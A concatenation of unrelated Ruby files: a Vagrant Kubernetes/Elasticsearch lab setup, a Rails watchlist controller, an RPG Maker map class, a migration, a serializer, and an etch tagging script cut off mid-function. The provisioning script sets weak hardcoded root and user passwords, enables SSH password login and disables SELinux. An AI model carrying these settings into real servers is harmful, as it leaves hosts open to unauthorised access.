vb.customize ["modifyvm", :id, "--memory", "2048"]
vb.customize ["modifyvm", :id, "--cpus", "1"]
if not File.exists?(master01_disk)
vb.customize ['createhd', '--filename', master01_disk, '--variant', 'Fixed', '--size', 5 * 1024]
end
#vb.customize ['storagectl', :id, '--name', 'SATA Controller', '--add', 'sata', '--portcount', 6]
vb.customize ['storageattach', :id, '--storagectl', 'IDE', '--port', 1, '--device', 1, '--type', 'hdd', '--medium', master01_disk]
end
kube.vm.provision "shell", inline: $script_master
end
config.vm.define "master02" do |kube|
kube.vm.hostname = "master02.myk8sdomain.com"
kube.vm.network "private_network", ip: "10.10.1.22"
kube.vm.network "private_network", ip: "192.168.1.22"
config.vm.provider :virtualbox do |vb|
vb.customize ["modifyvm", :id, "--memory", "2048"]
vb.customize ["modifyvm", :id, "--cpus", "1"]
if not File.exists?(master02_disk)
vb.customize ['createhd', '--filename', master02_disk, '--variant', 'Fixed', '--size', 5 * 1024]
end
#vb.customize ['storagectl', :id, '--name', 'SATA Controller2', '--add', 'sata', '--portcount', 6]
vb.customize ['storageattach', :id, '--storagectl', 'IDE', '--port', 1, '--device', 1, '--type', 'hdd', '--medium', master02_disk]
end
kube.vm.provision "shell", inline: $script_master
end
config.vm.define "master03" do |kube|
kube.vm.hostname = "master03.myk8sdomain.com"
kube.vm.network "private_network", ip: "10.10.1.23"
kube.vm.network "private_network", ip: "192.168.1.23"
config.vm.provider :virtualbox do |vb|
vb.customize ["modifyvm", :id, "--memory", "2048"]
vb.customize ["modifyvm", :id, "--cpus", "1"]
if not File.exists?(master03_disk)
vb.customize ['createhd', '--filename', master03_disk, '--variant', 'Fixed', '--size', 5 * 1024]
end
#vb.customize ['storagectl', :id, '--name', 'SATA Controller3', '--add', 'sata', '--portcount', 6]
vb.customize ['storageattach', :id, '--storagectl', 'IDE', '--port', 1, '--device', 1, '--type', 'hdd', '--medium', master03_disk]
end
kube.vm.provision "shell", inline: $script_master
end
config.vm.define "node-01" do |kube|
kube.vm.hostname = "node-01.myk8sdomain.com"
kube.vm.network "private_network", ip: "10.10.1.31"
kube.vm.network "private_network", ip: "192.168.1.31"
config.vm.provider :virtualbox do |vb|
vb.customize ["modifyvm", :id, "--memory", "2048"]
vb.customize ["modifyvm", :id, "--cpus", "1"]
if not File.exists?(node01_disk)
vb.customize ['createhd', '--filename', node01_disk, '--variant', 'Fixed', '--size', 5 * 1024]
end
#vb.customize ['storagectl', :id, '--name', 'SATA Controller4', '--add', 'sata', '--portcount', 6]
vb.customize ['storageattach', :id, '--storagectl', 'IDE', '--port', 1, '--device',1, '--type', 'hdd', '--medium', node01_disk]
end
kube.vm.provision "shell", inline: $script_master
end
config.vm.define "node-02" do |kube|
kube.vm.hostname = "node-02.myk8sdomain.com"
kube.vm.network "private_network", ip: "10.10.1.32"
kube.vm.network "private_network", ip: "192.168.1.32"
config.vm.provider :virtualbox do |vb|
vb.customize ["modifyvm", :id, "--memory", "2048"]
vb.customize ["modifyvm", :id, "--cpus", "1"]
if not File.exists?(node02_disk)
vb.customize ['createhd', '--filename', node02_disk, '--variant', 'Fixed', '--size', 5 * 1024]
end
#vb.customize ['storagectl', :id, '--name', 'SATA Controller5', '--add', 'sata', '--portcount', 6]
vb.customize ['storageattach', :id, '--storagectl', 'IDE', '--port', 1, '--device', 1, '--type', 'hdd', '--medium', node02_disk]
end
kube.vm.provision "shell", inline: $script_master
end
$script_master = <<SCRIPT
echo I am provisioning...
echo "r00tme" | sudo passwd --stdin root
echo "###########Setting Kubernetes Params################"
sudo cp /vagrant/hosts /etc/hosts
sudo cp /vagrant/kubernetes.repo /etc/yum.repos.d/kubernetes.repo
sudo cp /vagrant/centos.repo /etc/yum.repos.d/centos.repo
sudo cp /vagrant/k8s.conf /etc/sysctl.d/k8s.conf
sudo sysctl --system
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo setenforce 0
sudo sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
sudo yum -y update
sudo yum -y install kubelet kubeadm kubectl docker
sudo systemctl enable docker
sudo systemctl start docker
sudo systemctl start kubelet
sudo systemctl enable kubelet
sudo useradd k8s
echo "k8s123" | sudo passwd --stdin k8s
echo "###########Setting Elastic Search Parameters###############"
sudo su -
yum install -y vim net-tools java-1.8.0-openjdk
echo "elastic - nofile 65536" >> /etc/security/limits.conf
echo "vm.max_map_count=262144" >> /etc/sysctl.conf
sysctl -p
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
systemctl restart sshd.service
echo "###########Downloading TARS###############"
sudo cp /vagrant/hosts /etc/hosts
sudo useradd elastic
echo "elastic" | sudo passwd --stdin elastic
sudo su - elastic
cd /home/elastic/
curl -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.0.tar.gz
#curl -O https://artifacts.elastic.co/downloads/kibana/kibana-6.5.0-linux-x86_64.tar.gz
tar xfvz elasticsearch-6.5.0.tar.gz
#tar xfz kibana-6.5.0-linux-x86_64.tar.gz
sudo chown elastic:elastic -R /home/elastic/elasticsearch-*
#sudo chown elastic:elastic -R /home/elastic/kibana-*
sudo swapoff -a
SCRIPT
end
|
class WatchlistCoinsController < ApplicationController
before_action :set_watchlist_coin, only: [:show, :update, :destroy]
# GET /watchlist_coins
def index
@watchlist_coins = WatchlistCoin.all
render json: @watchlist_coins
end
# GET /watchlist_coins/1
def show
render json: @watchlist_coin
end
# POST /watchlist_coins
def create
coin = Coin.find_by_name(params[:coin_name])
if coin.nil?
coin_id = ""
else
coin_id = coin.id
end
@watchlist_coin = WatchlistCoin.new(coin_id: coin_id, watchlist_id: params[:watchlist_id])
if @watchlist_coin.save
render json: {
status: 201,
watchlist_coin: @watchlist_coin
} , status: :created, location: @watchlist_coin
else
render json: {
status: 422,
errors: @watchlist_coin.errors.full_messages.join(", ")
}, status: :unprocessable_entity
end
end
# def create
# @watchlist_coin = WatchlistCoin.new(watchlist_coin_params)
# if @watchlist_coin.save
# render json: @watchlist_coin, status: :created, location: @watchlist_coin
# else
# render json: @watchlist_coin.errors, status: :unprocessable_entity
# end
# end
# PATCH/PUT /watchlist_coins/1
def update
if @watchlist_coin.update(watchlist_coin_params)
render json: @watchlist_coin
else
render json: @watchlist_coin.errors, status: :unprocessable_entity
end
end
# DELETE /watchlist_coins/1
def destroy
@watchlist_coin.destroy
end
# SPECIAL DELETE /watchlist_coins/special_delete/:coin_id/:watchlist_id'
def special_delete
watchlist = Watchlist.find_by_id(params[:watchlist_id])
watchlist_coin_id = ""
watchlist.watchlist_coins.each do |watchlist_coin|
# puts(watchlist_coin.coin_id)
if watchlist_coin.coin_id == params[:coin_id].to_i
watchlist_coin_id = watchlist_coin.id
# puts("Yeah they are equal!")
end
end
# Watchlist_coin
watchlist_coin = WatchlistCoin.find_by_id(watchlist_coin_id)
if watchlist_coin.destroy
render json: {message: "Successfully deleted", watchlist_coin: watchlist_coin}
else
render json: {message: "Failed to delete"}
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_watchlist_coin
@watchlist_coin = WatchlistCoin.find(params[:id])
end
# Only allow a list of trusted parameters through.
def watchlist_coin_params
params.require(:watchlist_coin).permit(:coin_id, :watchlist_id)
end
end
|
#==============================================================================
# ** Game_Map
#------------------------------------------------------------------------------
# This class handles maps. It includes scrolling and passage determination
# functions. The instance of this class is referenced by $game_map.
#==============================================================================
class Game_Map
#--------------------------------------------------------------------------
# * Characters to be added to the end of enemy names
#--------------------------------------------------------------------------
LETTER_TABLE_HALF = [' A',' B',' C',' D',' E',' F',' G',' H',' I',' J',
' K',' L',' M',' N',' O',' P',' Q',' R',' S',' T',
' U',' V',' W',' X',' Y',' Z']
LETTER_TABLE_FULL = ['A','B','C','D','E','F','G','H','I','J',
'K','L','M','N','O','P','Q','R','S','T',
'U','V','W','X','Y','Z']
#--------------------------------------------------------------------------
# Constants
#--------------------------------------------------------------------------
Battler_Updates = 20
ProjPoolSize = 20
#--------------------------------------------------------------------------
# * Public Instance Variables
#--------------------------------------------------------------------------
attr_reader :map
attr_reader :max_width, :max_height
attr_reader :enemy_names_count
attr_accessor :action_battlers, :unit_table
attr_accessor :timer, :timestop_timer
attr_accessor :enemies
attr_accessor :accurate_character_info
attr_accessor :event_battler_instance, :queued_actions
attr_reader :item_drops, :projectile_pool, :cache_projectile
attr_accessor :fog_enabled # Light effect fog
attr_reader :active_enemies, :active_enemy_count
#--------------------------------------------------------------------------
# * Object Initialization
#--------------------------------------------------------------------------
alias initialize_opt initialize
def initialize
@timer = 0
@timestop_timer = 0
@item_drops = {}
@accurate_character_info = {}
@event_battler_instance = {}
@enemies = []
@queued_actions = []
@active_enemies = []
@projectile_pool = []
@cache_projectile = []
@flag_after_load = false
@fog_enabled = false
@enemy_update_index = 0
@active_enemy_count = 0
allocate_pools
init_battle_members
initialize_opt
set_max_edge
end
#--------------------------------------------------------------------------
def map
@map
end
#--------------------------------------------------------------------------
def set_max_edge
@max_width = (Graphics.width / 32).truncate
@max_height = (Graphics.height / 32).truncate
end
#--------------------------------------------------------------------------
def init_battle_members
@action_battlers = {}
@unit_table = {}
@enemy_names_count = {}
BattleManager::Team_Number.times {|key| @action_battlers[key] = Array.new()}
end
#--------------------------------------------------------------------------
def assign_party_battler
@action_battlers[0] = $game_party.battle_members
@enemies.each do |battler|
@action_battlers[0] << battler if battler.team_id == 0
end
end
#--------------------------------------------------------------------------
# * Setup
# tag: loading
#--------------------------------------------------------------------------
def setup(map_id)
dispose_sprites
dispose_item_drops
save_battler_instance if @map_id > 0
@event_battler_instance[map_id] = Hash.new if @event_battler_instance[map_id].nil?
clear_battlers
SceneManager.dispose_temp_sprites if map_id != @map_id
BattleManager.setup
debug_print "Setup map: #{map_id}"
SceneManager.reserve_loading_screen(map_id)
Graphics.fadein(60)
SceneManager.set_loading_phase("Mining Block Chain", -1)
@active_enemies.clear
@active_enemy_count = 0
BlockChain.mining
$game_party.sync_blockchain
setup_battlers
setup_loading(map_id)
setup_camera
load_map_settings
@item_drops[@map_id] = Array.new if @item_drops[@map_id].nil?
referesh_vehicles
setup_events
setup_scroll
setup_parallax
setup_battleback
@need_refresh = false
@map.battle_bgm = $battle_bgm
@backup = nil
deploy_map_item_drops
after_setup
end
#--------------------------------------------------------------------------
def setup_loading(map_id)
@map_id = map_id
@map = load_data(sprintf("Data/Map%03d.rvdata2", @map_id))
load_total = 4 + @map.events.size + 10
load_total = 180 if load_total < 180
SceneManager.set_loading_phase('Load Map', load_total)
end
#--------------------------------------------------------------------------
def setup_camera
@tileset_id = @map.tileset_id
@display_x = 0
@display_y = 0
end
#--------------------------------------------------------------------------
def load_map_settings
@fog_enabled = false
@map.note.split(/[\r\n]+/).each do |line|
case line
when DND::REGEX::Map::LightEffect
@fog_enabled = $1.to_i
end
end
if $game_map.fog_enabled
puts "Fog enabled: #{@fog_enabled}"
$game_map.effect_surface.change_color(60,0,0,0,@fog_enabled)
else
puts "Fog disbled"
$game_map.effect_surface.change_color(60,255,255,0,0)
end
end
#--------------------------------------------------------------------------
# * Setup battler
#--------------------------------------------------------------------------
def setup_battlers
$game_party.battle_members[0].map_char = $game_player
$game_player.followers.each do |follower|
SceneManager.update_loading # tag: loading
next if !follower.actor
follower.actor.map_char = follower
end
assign_party_battler
end
#--------------------------------------------------------------------------
# * Event Setup
#--------------------------------------------------------------------------
def setup_events
@events = {}
@map.events.each do |i, event|
SceneManager.update_loading # tag: loading
eve = Game_Event.new(@map_id, event)
next if eve.terminated?
@events[i] = eve
end
@common_events = parallel_common_events.collect do |common_event|
Game_CommonEvent.new(common_event.id)
end
refresh_tile_events
end
#--------------------------------------------------------------------------
# * Processes after setups
#--------------------------------------------------------------------------
def after_setup
$game_player.center($game_player.new_x, $game_player.new_y) if SceneManager.scene_is?(Scene_Map)
SceneManager.update_loading while SceneManager.loading?
SceneManager.destroy_loading_screen unless $game_temp.loading_destroy_delay
end
=begin
#-----------------------------------------------------------------------------
# * Overwrite method : Refresh
# > Moved from Theo Anti-Lag
#-----------------------------------------------------------------------------
def refresh
BattleManager.refresh
SceneManager.spriteset.refresh rescue nil
return table_refresh if table_update? && Theo::AntiLag::PageCheck_Enchancer
@events.each_value {|event| next if event.never_refresh; event.refresh }
@common_events.each {|event| event.refresh }
refresh_tile_events
@need_refresh = false
end
=end
#--------------------------------------------------------------------------
# * Refresh. [REP]
#--------------------------------------------------------------------------
def refresh
BattleManager.refresh
SceneManager.spriteset.refresh rescue nil
@tile_events = []
@events.each_value do |event|
event.refresh
event.tile? && @tile_events << event
end
@common_events.each { |event| event.refresh }
@need_refresh = false
end
#--------------------------------------------------------------------------
# * Refresh
#--------------------------------------------------------------------------
alias refresh_map_dnd refresh
def refresh
setup_battlers
refresh_map_dnd
debug_print "Map Refreshed"
end
#--------------------------------------------------------------------------
# * Overwrite : Update, moved from effectus for compatible
#--------------------------------------------------------------------------
def update(main = false)
@last_pa = [@parallax_x, @parallax_y]
refresh if @need_refresh
effectus_trigger_refresh if @effectus_need_refresh
if main
update_interpreter
else
update_events
update_vehicles
end
update_scroll
update_parallax
@screen.update
@effectus_dref_display_x = (@display_x * 32).floor / 32.0
@effectus_dref_display_y = (@display_y * 32).floor / 32.0
end
#--------------------------------------------------------------------------
# * Frame Update
# main: Interpreter update flag
#--------------------------------------------------------------------------
# tag: timeflow
alias update_gmap_timer update
def update(main = false)
update_timer
update_drops
update_queued_actions
update_enemies
update_gmap_timer(main)
end
#--------------------------------------------------------------------------
def update_queued_actions
@queued_actions.each do |action|
action.effect_delay -= 1
if action.effect_delay <= 0
BattleManager.apply_action_effect(action)
@queued_actions.delete(action)
end
end
end
#--------------------------------------------------------------------------
# * Update timer
#--------------------------------------------------------------------------
def update_timer
@timer += 1
process_battler_regenerate if @timer % DND::BattlerSetting::RegenerateTime == 0
process_timecycle_end if @timer >= PONY::TimeCycle
end
#-----------------------------------------------------------------------------
# * Overwrite method : Update events
#-----------------------------------------------------------------------------
def update_events
@events.each_value do |event|
event.update unless event.frozen?
terminate_event(event) if event.terminated?
end
@common_events.each {|event| event.update}
end
#--------------------------------------------------------------------------
# * Update NPC battler
#-------------------------------------------------------------------------
def update_enemies
@active_enemy_count = [@active_enemy_count, 0].max
return if @active_enemy_count == 0
battler = @active_enemies[@enemy_update_index]
if battler.nil?
@active_enemies = @active_enemies.compact
@active_enemy_count = @active_enemies.size
elsif battler.current_target && battler.current_target.dead?
battler.process_target_dead
elsif battler.effectus_near_the_screen?
battler.update_battler
else
battler.process_target_missing
end
return if @active_enemy_count == 0
@enemy_update_index = (@enemy_update_index + 1) % @active_enemy_count
end
#--------------------------------------------------------------------------
def remove_active_enemy(enemy)
@active_enemies.delete(enemy)
@active_enemy_count -= 1
end
#--------------------------------------------------------------------------
def add_active_enemy(enemy)
return if @active_enemies.include?(enemy)
@active_enemies << enemy
@active_enemy_count += 1
end
#--------------------------------------------------------------------------
def process_battler_regenerate
BattleManager.regenerate_all
end
#--------------------------------------------------------------------------
def process_timecycle_end
@timer = 0
BattleManager.on_turn_end
BattleManager.clear_flag(:in_battle)
end
#--------------------------------------------------------------------------
def terminate_event(event)
puts "Terminate event: #{event.id}"
@events.delete(event.id)
SceneManager.spriteset.dispose_event(event)
# Theo's anti-lag
#@cached_events.delete(event) if @cached_events
#@keep_update_events.delete(event) if @keep_update_events
#@forced_update_events.delete(event) if @forced_update_events
end
#--------------------------------------------------------------------------
# * Push character into active battlers
#--------------------------------------------------------------------------
def register_battler(battler)
if @unit_table[battler.hashid]
debug_print "Battler register failed: #{battler}"
return
end
@enemies << battler
@action_battlers[battler.team_id] << battler
@unit_table[battler.hashid] = battler
SceneManager.scene.register_battle_unit(battler) if SceneManager.scene_is?(Scene_Map)
end
#--------------------------------------------------------------------------
# * Remove unit
#--------------------------------------------------------------------------
def resign_battle_unit(battler)
@enemies.delete(battler)
@action_battlers[battler.team_id].delete(battler)
@unit_table[battler.hashid] = nil
debug_print "Battler resigned #{battler}"
SceneManager.scene.resign_battle_unit(battler) if SceneManager.scene_is?(Scene_Map)
end
#--------------------------------------------------------------------------
def all_battlers
re = []
@action_battlers.each do |key, team|
team.each {|battler| re << battler}
end
return re
end
#--------------------------------------------------------------------------
def all_alive_battlers
re = []
@action_battlers.each do |key, battlers|
battlers.each {|battler| re << battler unless battler.dead?}
end
return re
end
#--------------------------------------------------------------------------
def dead_battlers
re = []
@action_battlers.each do |key, battlers|
battlers.each {|battler| re << battler if battler.dead?}
end
return re
end
#--------------------------------------------------------------------------
# * Return alive allied battlers
#--------------------------------------------------------------------------
def ally_battler(battler = $game_palyer)
return @action_battlers[battler.team_id].compact.select{|char| !char.dead?}
end
#--------------------------------------------------------------------------
# * Return dead allies
#--------------------------------------------------------------------------
def dead_allies(battler = $game_player)
return @action_battlers[battler.team_id].compact.select{|char| char.dead?}
end
#--------------------------------------------------------------------------
# * Return alive hostile battlers
#--------------------------------------------------------------------------
def opponent_battler(battler = $game_player)
opponents = []
@action_battlers.each do |key, members|
next if key == battler.team_id
members.compact.each do |member|
next if member.dead?
opponents.push(member)
end
end
return opponents
end
#--------------------------------------------------------------------------
# * Return dead hostile battlers
#--------------------------------------------------------------------------
def dead_opponents(battler = $game_player)
opponents = []
@action_battlers.each do |key, members|
next if key == battler.team_id
members.compact.each do |member|
next unless member.dead?
opponents.push(member)
end
end
return opponents
end
#--------------------------------------------------------------------------
# * Add letters (ABC, etc) to enemy characters with the same name
#--------------------------------------------------------------------------
def make_unique_names
@enemies.each do |enemy|
next unless enemy.alive?
next unless enemy.letter.empty?
n = @enemy_names_count[enemy.original_name] || 0
enemy.letter = letter_table[n % letter_table.size]
@enemy_names_count[enemy.original_name] = n + 1
end
@enemies.each do |enemy|
n = @enemy_names_count[enemy.original_name] || 0
enemy.plural = true if n >= 2
end
end
#--------------------------------------------------------------------------
# * Get Text Table to Place Behind Enemy Name
#--------------------------------------------------------------------------
def letter_table
$game_system.japanese? ? LETTER_TABLE_FULL : LETTER_TABLE_HALF
end
#--------------------------------------------------------------------------
def on_game_save
dispose_sprites
dispose_lights
dispose_item_drops
@events.each do |key, event|
hkey = "E" + key.to_s
pos = [POS.new(event.real_x, event.real_y),
POS.new(event.x, event.y),
POS.new(event.px, event.py)]
dir = event.direction
info = {:pos => pos, :dir => dir}
@accurate_character_info[hkey] = info
end
key = 0
$game_player.followers.each do |follower|
hkey = "F" + key.to_s
pos = [POS.new(follower.real_x, follower.real_y),
POS.new(follower.x, follower.y),
POS.new(follower.px, follower.py)]
dir = follower.direction
info = {:pos => pos, :dir => dir}
@accurate_character_info[hkey] = info
key += 1
end
save_battler_instance
super_dispose
end
#--------------------------------------------------------------------------
def dispose_sprites
@events.each do |key, event|
event.dispose_sprites
end
end
#--------------------------------------------------------------------------
def after_game_load
@flag_after_load = true
end
#--------------------------------------------------------------------------
def on_after_load
@enemy_names_count = {}
@flag_after_load = false
relocate_events
all_battlers.each do |battler|
resign_battle_unit(battler) if !BattleManager.valid_battler?(battler)
end
debug_print "Action battler count: #{all_battlers.size}"
make_unique_names
$game_party.members.each do |member|
member.assigned_hotkey.each_with_index do |item, index|
next unless item
member.assigned_hotkey[index] = $data_weapons[item.id] if item.is_weapon?
member.assigned_hotkey[index] = $data_armors[item.id] if item.is_armor?
member.assigned_hotkey[index] = $data_items[item.id] if item.is_item?
member.assigned_hotkey[index] = $data_skills[item.id] if item.is_skill?
end
end
end
#--------------------------------------------------------------------------
def clear_battlers
all_battlers.each do |battler|
resign_battle_unit(battler)
end
init_battle_members
end
#--------------------------------------------------------------------------
def relocate_events
@accurate_character_info.each do |key, info|
id = key.dup; id.slice!(0); id = id.to_i;
pos = info[:pos]
if key[0] == "E"
next if @events[id].nil?
@events[id].load_position(*pos)
@events[id].set_direction(info[:dir])
@events[id].setup_quadtree_index
elsif key[0] == "F"
next if $game_player.followers[id].nil?
$game_player.followers[id].load_position(*pos)
$game_player.followers[id].set_direction(info[:dir])
$game_player.followers[id].setup_quadtree_index
end
end
@accurate_character_info.clear
end
#--------------------------------------------------------------------------
def update_vehicles
end
#--------------------------------------------------------------------------
def update_drops
@item_drops[@map_id].each do |drops|
@item_drops[@map_id].delete(drops) if drops.picked?
drops.update
end
end
#--------------------------------------------------------------------------
def deploy_map_item_drops
@item_drops[@map_id] = Array.new if @item_drops[@map_id].nil?
@item_drops[@map_id].each do |drops|
next if drops.sprite_valid?
deploy_item_drop(drops)
end
end
#--------------------------------------------------------------------------
def dispose_item_drops
@item_drops[@map_id] = Array.new if @item_drops[@map_id].nil?
@item_drops[@map_id].each do |drops|
drops.dispose
end
end
#--------------------------------------------------------------------------
def register_item_drop(x, y, gold, loots)
return if loots.empty? && gold < 1
@item_drops[@map_id].each do |drop|
if (drop.x - x).abs < 1 && (drop.y - y).abs < 1
return drop.merge(gold, loots)
end
end
loots.unshift(gold)
drops = Game_DroppedItem.new(@map_id, x, y, loots)
@item_drops[@map_id] << drops
deploy_item_drop(drops)
end
#--------------------------------------------------------------------------
def deploy_item_drop(drops)
return if drops.map_id != @map_id
drops.deploy_sprite
end
#--------------------------------------------------------------------------
def refresh_condition_events
@events.each_value do |eve|
eve.refresh if eve.condition_flag
end
end
#--------------------------------------------------------------------------
def save_battler_instance
@event_battler_instance[@map_id] = Hash.new if @event_battler_instance[@map_id].nil?
@events.each do |key, event|
@event_battler_instance[@map_id][key] = event.enemy if BattleManager.valid_battler?(event) && !event.dead?
end
end
#--------------------------------------------------------------------------
def all_dead?(team_id)
return !(@enemies.select{|c| c.team_id == team_id}.any?{|b| !b.dead?})
end
#--------------------------------------------------------------------------
def cache_crash_backup
@backup = Marshal.dump($game_map) rescue @backup
end
#--------------------------------------------------------------------------
def get_cached_backup
return @backup
end
#--------------------------------------------------------------------------
def dispose_lights
@lantern.dispose if @lantern
@surfaces.each{|s| s.dispose} if @surfaces
@light_sources.each { |source| source.dispose_light } if @light_sources
if @light_surface
@light_surface.bitmap.dispose
@light_surface.dispose
@light_surface = nil
end
end
#--------------------------------------------------------------------------
def super_dispose
instance_variables.each do |varname|
ivar = instance_variable_get(varname)
ivar.dispose if ivar.is_a?(Window) || ivar.is_a?(Sprite) || ivar.is_a?(Bitmap)
end
end
#--------------------------------------------------------------------------
# * Store projectiles
#--------------------------------------------------------------------------
def store_projectile(projs)
debug_print "Projectile stored (#{projs.size})"
@cache_projectile = projs.dup
@cache_projectile.each{|proj| proj.dispose_sprite}
end
#--------------------------------------------------------------------------
# * Retrieve stored cache
#--------------------------------------------------------------------------
def get_cached_projectile
return @cache_projectile
end
#--------------------------------------------------------------------------
def clear_projectiles
debug_print "Clear projectiles cache (#{@cache_projectile.size})"
@cache_projectile.clear
end
#--------------------------------------------------------------------------
def allocate_pools
ProjPoolSize.times{|i| self.allocate_proj}
end
#--------------------------------------------------------------------------
def allocate_proj
proj = Game_Projectile.allocate
proj.deactivate
@projectile_pool << proj
end
#--------------------------------------------------------------------------
def get_idle_proj
re = @projectile_pool.find{|proj| !proj.active?}
re
end
#--------------------------------------------------------------------------
def tile_proj_passable?(x, y)
return ($game_map.region_id(x, y) & PONY::Bitset[2]).to_bool
end
#--------------------------------------------------------------------------
def get_tile_altitude(x,y)
bits = PONY::Bitset[0] | PONY::Bitset[1]
return $game_map.region_id(x, y) & bits
end
#--------------------------------------------------------------------------
alias region_id_fixed region_id
def region_id(x, y)
rx = ((x * 4 % Pixel_Core::Pixel) > 1 ? x.to_i + 1 : x.to_i)
ry = ((y * 4 % Pixel_Core::Pixel) > 1 ? y.to_i + 1 : y.to_i)
rx = [[width-1,rx].min, 0].max; ry = [[height-1,ry].min, 0].max;
re = region_id_fixed(rx, ry)
end
#--------------------------------------------------------------------------
end
|
class AddFavoriteToUserBook < ActiveRecord::Migration[6.0]
def change
add_column :user_books, :favorite_book, :boolean
add_column :user_books, :favorite_author, :boolean
change_column_default :user_books, :book_status, 0
end
end
|
class GameSerializer < ActiveModel::Serializer
attributes :id, :result, :new_ranking, :hero_one, :hero_two, :party_size, :map, :details, :user_id, :created_at, :hero_one_role, :hero_two_role, :map_type
belongs_to :user
end
|
#!/usr/bin/ruby -w
##############################################################################
# This is a node tagging script for etch which gets tags from nVentory
# http://sourceforge.net/apps/trac/etch/wiki/ControlledDeployment
##############################################################################
require 'optparse'
require 'nventory'
#
# Parse the command line options
#
@debug = false
opts = OptionParser.new
opts.banner = "Usage: #{File.basename($0)} [--debug] <hostname>"
opts.on('--debug', "Print messages about how the client's tag is determined") do |opt|
@debug = opt
end
opts.on_tail("-h", "--help", "Show this message") do
puts opts
exit
end
name = nil
leftovers = opts.parse(ARGV)
if leftovers.size == 1
name = leftovers.first
else
puts opts
exit
end
#
# This script normally runs only on the etch servers and thus doesn't need to
# worry about timezone differences under standard operation. But for
# development and troubleshooting users might run it elsewhere. In which case
# it needs to execute with the same timezone setting as the etch servers.
#
ENV['TZ'] = 'UTC'
#
# Load the tag state data
#
# This allows users to mark tags as good or bad. Here's a scenario to
# explain why you want to be able to mark tags as bad. Imagine you check
# in a bad change at 0800. Around 1000 you notice that your dev and qa
# environments are broken and commit a fix. That fix ends up in the 1100
# tag. However, staging and production are still going to get the 0800,
# 0900 and 1000 tags before they get to your 1100 tag with the fix. You
# need a way to tell the system to skip over those bad tags. If you mark
# 0800, 0900 and 1000 as bad then dev and qa will revert to 0700 (the last
# non-bad tag), and staging and production will hold at 0700. Then the
# 1100 tag will work its way through the environments as usual. Disaster
# averted.
#
# Marking tags as good doesn't currently do anything, but could be used to
# implement a human review or change management process where only known-good
# tags are allowed to propagate to production.
#
# The rollback behavior doesn't work well when the bad change is a new
# file and the last not-bad tag doesn't contain any configuration for
# that file so the bad configuration remains in place until the fixed
# configuration catches up, which could be 5 hours. In those cases you
# can mark the bad tags with 'badfwd' if you want to have clients roll
# forward right away to the next not-bad tag so they pick up the fixed
# configuration right away.
#
@tagstate = {}
valid_states = ['good', 'bad', 'badfwd']
tagstatefile = File.join(File.dirname(__FILE__), 'tagstate')
if File.exist?(tagstatefile)
IO.foreach(tagstatefile) do |line|
next if line =~ /^\s*$/ # Skip blank lines
next if line =~ /^\s*#/ # Skip comments
tag, state = line.split
if valid_states.include?(state)
@tagstate[tag] = state
else
warn "Ignoring state #{state} for tag #{tag}, it's not one of the valid states: #{valid_states.join(',')}"
end
end
end
# Shared with the repo_update script
def convert_tagtime_to_unixtime(tagdate, tagtime)
year, month, day = tagdate.unpack('A4A2A2')
hour, minute = tagtime.unpack('A2A2')
unixtime = Time.local(year, month, day, hour, minute, 0, 0)
unixtime
end
def tagforhours(hours)
Time.at(Time.now - hours * 60 * 60).strftime('etchautotag-%Y%m%d-%H00')
end
def findautotag(hoursago, needgoodtag=false)
tag = nil
# Check the state for the 'hoursago' tag. If it is 'badfwd' then look
# forward for the next not-bad or good tag (depending on
# 'needgoodtag'). Otherwise check from that point backwards.
hoursagotag = tagforhours(hoursago)
hours_to_check = []
if @tagstate[hoursagotag] == 'badfwd'
puts "Tag #{hoursagotag} is badfwd, looking forward rather than backward" if (@debug)
(hoursago-1).downto(0) do |hour|
hours_to_check << hour
end
else
# Check back up to three days for an acceptable tag. The three day
# limit is arbitrary, but we need something so that we avoid going
# into an infinite loop if there simply isn't an acceptable tag.
hoursago.upto(24*3) do |hour|
hours_to_check << hour
end
end
hours_to_check.each do |hour|
proposedtag = tagforhours(hour)
puts "Checking tag #{proposedtag} for #{hour} hours ago" if (@debug)
# If we need a 'good' tag then check that the proposed tag is
# marked as 'good'.
if needgoodtag
if @tagstate[proposedtag] == 'good'
tag = proposedtag
puts "Need good tag, proposed tag is good" if (@debug)
break
else
puts "Need good tag, proposed tag is not good" if (@debug)
end
else
# If we don't need a 'good' tag then check that either the
# proposed tag has no state (unknown, and presumed good in this
# case), or has a state that isn't 'bad'.
if @tagstate[proposedtag].nil? || @tagstate[proposedtag] !~ /^bad/
tag = proposedtag
puts "Need !bad tag, proposed tag is #{@tagstate[proposedtag]} and thus acceptable" if (@debug)
break
else
puts "Need !bad tag, proposed tag is #{@tagstate[proposedtag]} and thus not acceptable" if (@debug)
end
end
end
if tag.nil?
abort "No acceptable tag found for hoursago:#{hoursago} and " +
"needgoodtag:#{needgoodtag}"
end
tag
end
#
# Grab tag from nVentory
#
nvclient = NVentory::Client.new
results = nvclient.get_objects(:objecttype => 'nodes', :exactget => { 'name' => name }, :includes => ['node_groups'])
tag = nil
DEFAULT_HOURS = 4
hours = DEFAULT_HOURS
if !results.empty? && !results[name].nil?
if !results[name]['node_groups'].nil?
node_group_names = results[name]['node_groups'].collect { |ng| ng['name'] }
case
when node_group_names.include?('dev') || node_group_names.include?('int')
hours = 0
when node_group_names.include?('qa')
hours = 1
when node_group_names.include?('stg')
hours = 2
end
end
# For production nodes we want to divide them based on our
# failover/BCP strategy so that we deploy changes in such a way that
# a bad change doesn't take out all failover groups at once. With
# multiple data centers and global load balancing this could mean
# deploying to one data center and then the other. Or you could base
# it on other node groups. In other words this section should set about
# half your machines to hours = 3, and then the remaining systems will
# get the default number of hours below.
if hours == DEFAULT_HOURS
if false # <-- YOU NEED TO PUT SITE-APPROPRIATE LOGIC HERE
hours = 3
end
end
puts "Based on node groups and location this node gets hours #{hours}" if (@debug)
if !results[name]['config_mgmt_tag'].nil? &&
!results[name]['config_mgmt_tag'].empty?
nvtag = results[name]['config_mgmt_tag']
puts "Tag from nVentory: #{nvtag}" if (@debug)
# Tags starting with trunk- are used to temporarily bump clients to trunk
if nvtag =~ /^trunk-(\d{8})-(\d{4})$/
tagunixtime = convert_tagtime_to_unixtime($1, $2)
puts "nVentory tag looks like a temporary bump to trunk tag" if (@debug)
puts "tagunixtime #{tagunixtime}" if (@debug)
# If the timestamp is less than "hours" old the client gets trunk,
